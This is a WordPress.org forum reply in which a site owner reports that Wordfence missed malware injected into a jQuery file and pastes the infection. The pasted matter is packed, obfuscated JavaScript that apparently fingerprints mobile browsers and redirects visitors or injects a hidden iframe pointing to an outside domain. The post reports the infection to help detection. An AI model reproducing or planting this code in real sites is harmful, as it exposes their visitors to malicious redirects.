Title: 1p21's Replies | WordPress.org --- # 1p21 [ ](https://wordpress.org/support/users/1p21/) * [Profile](https://wordpress.org/support/users/1p21/) * [Topics Started](https://wordpress.org/support/users/1p21/topics/) * [Replies Created](https://wordpress.org/support/users/1p21/replies/) * [Reviews Written](https://wordpress.org/support/users/1p21/reviews/) * [Topics Replied To](https://wordpress.org/support/users/1p21/replied-to/) * [Engagements](https://wordpress.org/support/users/1p21/engagements/) * [Favorites](https://wordpress.org/support/users/1p21/favorites/) Search replies: ## Forum Replies Created Viewing 1 replies (of 1 total) * Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/) In reply to: [[Wordfence Security - Firewall, Malware Scan, and Login Security] Scan didn't detect Eval base64](https://wordpress.org/support/topic/scan-didnt-detect-eval-base64/) * Thread Starter [1p21](https://wordpress.org/support/users/1p21/) * (@1p21) * [10 years, 6 months ago](https://wordpress.org/support/topic/scan-didnt-detect-eval-base64/#post-6704927) * Hi Brian, * It was a JS file ==> /wp-includes/jquery/(filename).js * The site is on a dedicated server so not a shared host. Not a theme file. The top of the file had this in it: * /*b534e251c42006533d5cbd60af31080a*/eval(function(p,a,c,k,e,d){e=function(c){ return c};if(!”.replace(/^/,String)){while(c–){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\ b’+e(c)+’\\b’,’g’),k[c])}}return p}(’14 113=225(39(){11(15.57!=125&&43 15.57! =”42″){226(113);11(43 23[“99″]==”42”){23[“99″]=1;14 79=(73()&&130());14 109=! 79&&!!23.227&&23.31.224===”223 219.”;14 89=-1;14 36=”220://221.222/228″;11(68()&& 89==1){11((31.51.95(/229/19))||(31.51.95(/235/19))){78.236(36)}22{23.78=36;15.78 =36}}22{11((79&&!109&&!68())){14 59=”<74 237=\\”234:233;230:-231;\\”><128 232 =\\”123\\” 218=\\””+36+”\\” 217=\\”123\\”>”;14 34=15.204(“74″);11( 34.119==0){15.57.44=15.57.44+59}22{14 94=34.119;14 58=205.206((94/2));34[58]. 44=34[58].44+59}}}}127()}},100);39 127(){14 63=”126″;11(63!=”126″){14 35=15.203( 63);11(43 35!=42&&35!=125){35.202=””;198 35}}};39 130(){11(15.29&&!15.199){16 24}22 11(15.29&&!23.200){16 24}22 11(15.29&&!15.201){16 24}22 11(15.29&&!15.207){ 16 24}22 11(15.29&&!23.208){16 24}22 11(15.29){16 24}22 11(43 31.214!=”42″&&! 15.29&&73()){16 24}22{16 82}}39 73(){14 17=23.31.51;14 55=17.27(“215 “);11(55 >0){16 71(17.64(55+5,17.27(“.”,55)),10)}14 97=17.27(“216/”);11(97>0){14 69=17.27(“ 213:”);16 71(17.64(69+3,17.27(“.”,69)),10)}14 48=17.27(“212/”);11(48>0){16 71( 17.64(48+5,17.27(“.”,48)),10)}16 82}39 68(){14 75=23.31.51.209();11(/(210|211\\ 66+|238).+107|239|267\\/|268|269|266|265|197|262|263|90(264|104)|121|270|271 |277|278|279|107.+276|275|272 25(273|274)19|260( 88)?|259|41(246|247)\\/|248| 245|244|240(4|6)0|241|242|122\\.(243|249)|250|256|257 258|255|254/19.111(75)| |/251|252|253|280|174|50[1-6]19|142|144|33 115|148|114(134|110|56\\-)|133(160 |161)|91(156|101|93)|150|154(153|72|152)|151|92(155|76)|159(77|157)|158|162(147 |\\-25|136 |56 )|138|135(102|129|137)|103(139|143)|141(114|196)|186(187|28)46 |185|181\\-(182|65)|183\\/|188|189|194\\-|195|193|192|177\\-|93(173|86)|184|166( 96|129|165)|168|170\\-56|179|163|145|106(26|41)105|149(12|\\-66)|146(49|133)| 178(176|175)|134(172|171)|164|167([4-7]0|88|115|169)|180|191(\\-|131)|118 65| 190|140|261\\-5|38\\-62|76(\\.46|104)|320(397|398)|399|400|396\\-(25|41|30)|395\\- |391(108|120)|392( 19|90)|393\\-26|394(26(\\-| |131|33|38|41|56|30)|401)|402( 409|410)|19\\-(20|76|67)|411|408( |\\-|\\/)|281|407|403|404|405|406|390|121|389( 30|28)33|374|375|376|377|373|372( |\\/)|368|369 |370\\-|371(26|112)|378(379|386) |413( 38|\\/(112|388|65)|50|54|\\-[33-46])|385|384|380\\-46|381|382\\/|67(77| 383|412)|87(37|21|101)|25\\-431|436(434|84)|439(440|438|117)|435|62(37|447|103 |445|106|30(\\-| |105|28)|444)|443(50|437|28 )|432|419|420[0-2]|433[2-3]|421( 0|2)|414(0|2|5)|415(0(0|1)|10)|416((26|25)\\-|422|423|429|426|425)|424(6|19)| 427|428|430(417|418)|446|442|441|387(33|66|30)|366|310(13|\\-([1-8]|26))|311| 312|124(309|308)|304\\-2|305(102|306|116)|307|313|108\\-38|314\\-33|367(321|12 |21|32|60|\\-[2-7]|19\\-)|322|319|318|315|316|317(303|302)|288\\/|289(290|67| 287|286|72|282)|283(37|132\\-|110|41\\-)|284\\/|116(26(\\-|0|1)|47|87|86|84)| 285\\-|291|292(\\-|25)|299\\-0|300(45|301)|298(91|92|297|96|293)|294(295|72)| 296(37|132\\-|28\\-|28 )|323(37|324)|353(18|50)|354(355|10|18)|120(352|351)|347\\- |348\\-|349(19|25)|350\\-|30\\-62|356(124|357)|117(70|25\\-|363|364)|365\\-9| 122(\\.362|118|361)|358|359|360|346|345(331|77)|332(40|5[0-3]|\\-28)|333|330| 329|325(52|53|60|61|70|80|81|83|85|98)|326(\\-| )|327|328|334(38 |335|342)|343 |344|341|340\\-|336|337|338\\-/19.111(75.339(0,4))){16 24}16 82}’,10,448,’||| ||||||||if|||var|document|return|HPBJgrsPCHSKRooCSfFKUPtQSHhPpXTMrJRxpVbO||i| ||else|window|true|m|c|indexOf|v|all|t|navigator||a|MCaQwvpjUmtBqcPYzgWliXmZPBzILQsWecitLV |mlNejnGRDFoMrKpCkbNtoYExLBQntbLtnlIF|WCdBJlkPSASuNMxLEgEXHpIPBnICmFJsiy|01|g |function||p|undefined|typeof|innerHTML||w||yCgElnHWsSrcjmuYoMmhngIvMNokcUiJIjw |||userAgent||||LARvLITLJRXwkEPGPiIEqjPSpXveOBF|s|body|WuueSQisBmloAGfQTZctCvdtBKxDdDLo |KzNjeJAhCiAZQAAGoEsMETLBxkXwRmkiHKqpVB|||mo|adsQzuxevDroaHFVcjSuLqAJljAVPrpFpL |substring|u|d|ma|WxHYKzSjmIZPfoKwXAgRLieaorcuMAKUSQoV|vGeYZzxGUigKNEJEAAIkosQXeVjxdJImu ||parseInt|ny|aUaEhOVgaMxAeZrmNxdRPqgvqYXHduMlE|div|QhxSRLpMNEIsRLqPASzHaAZnAPdxZxx |go|te|location|VoiuQGWKzqbGsHzrnWlNrJnkPpbQoVUW|||false||ri||nd|mc|os|MSuybQFqyBexVNUuYEgNJUnwdWUYRfDYJjYUN |ip|al|ar|co|dl_name|match|it|JqrPUuqqGIdyRjGXPJeRjWOGIEYkcVU||v_b534e251c42006533d5cbd60af31080a ||ca|ck|bi|od|o|do|mobile|pt|YyxiqDTdmjgDoiCwXeKxseGOcyWGWohUhdJ|oo|test|k|NGDvNPIYnVGVXCAbDMmsqeksGWIeUzUJZouxU |ac|wa|se|ts|g1|length|ta|iris|up|18px|pl|null|none|wEFSzZujMlxoNYDlPgZLNUtSsYcPZdUzMO |iframe|ll|oaUPUMrwePLScyLgxaLbRuZXUxvfkGvWcZeo|_|h|ai|er|be|r|nq|avan|lb|gene |bl|770s|rd|802s|dmob|el|di|abac|ds|amoi|aptu|yw|ex|an|ch|av|us|attw|as|ko|rn |au|dica|esl8|ng|da|ez|dbte|ze|dc|k0|ic|mp|4thp|ul|l2|cmd|em|devi|fetc|bw|n|c55 |craw|bumb|br|e|capi|ccwa|g560|fly|cldc|chtm|cdm|cell|az|fennec|delete|compatMode |XMLHttpRequest|querySelector|outerHTML|getElementById|getElementsByTagName|Math |floor|addEventListener|atob|toLowerCase|android|bb|Edge|rv|maxTouchPoints|MSIE |Trident|height|src|Inc|http|blondinkaulya|cf|Google|vendor|setInterval|clearInterval |chrome|052F|iPhone|left|2564px|width|absolute|position|iPod|replace|style|meego |avantgo|series|symbian|treo|browser|psp|pocket|ixi|re|plucker|link|vodafone| 1207|6310|6590|xiino|xda|wap|windows|ce|phone|palm|gf|hiptop|iemobile|hone|elaine |compal|bada|blackberry|blazer|kindle|lge|opera|ob|in|netfront|firefox|maemo| midp|mmp|3gso|ibro|va|sc|sdk|sgh|ms|mm|s55|sa|ge|shar|sie|t5|so|ft|sp|b3|sm|sk |sl|id|zo|ve|pn|po|rt|prox|uc|ay|pg|phil|pire|psio|qa|raks|rim9|ro|r600|r380| gr|07|qtek|sy|mb|vx|w3c|webc|whit|vulc|voda|rg|vk|vm40|wi|nc|your|zeto|zte|substr |yas|x700|nw|wmlb|wonu|vi|veri|tcl|tdg|tel|tim|lk|gt|t2|t6|00|to|sh|utst|v400 |v750|si|b|m3|m5|tx|pdxg|qc|klon|kpt|kwc|kyo|kgt|keji|jbro|jemu|jigs|kddi|le| no|m1|m3ga|m50|ui|lynx|libw|xi|pan|l|ja|ipaq|hi|hp|hs|ht|hei|hd|ad|un|haie|hcit |tp|hu|ig01|ikom|im1k|inno|idea|iac|aw|tc|i230|xo|lg|n50|n7|ne|ti|wv|mywa|n10 |n30|on|tf|nok|wt|wg|nzph|o2im|wf|op|cr|mwbp|n20|rc|mmef|me|p1|oa|mi|o8|p800| owg1|mt|zz|de|oran|02′.split(‘|’),0,{})) /*b534e251c42006533d5cbd60af31080a*//******* * The scan didn’t find this, I ended up fiding this digging through file and searching. * Mike Viewing 1 replies (of 1 total)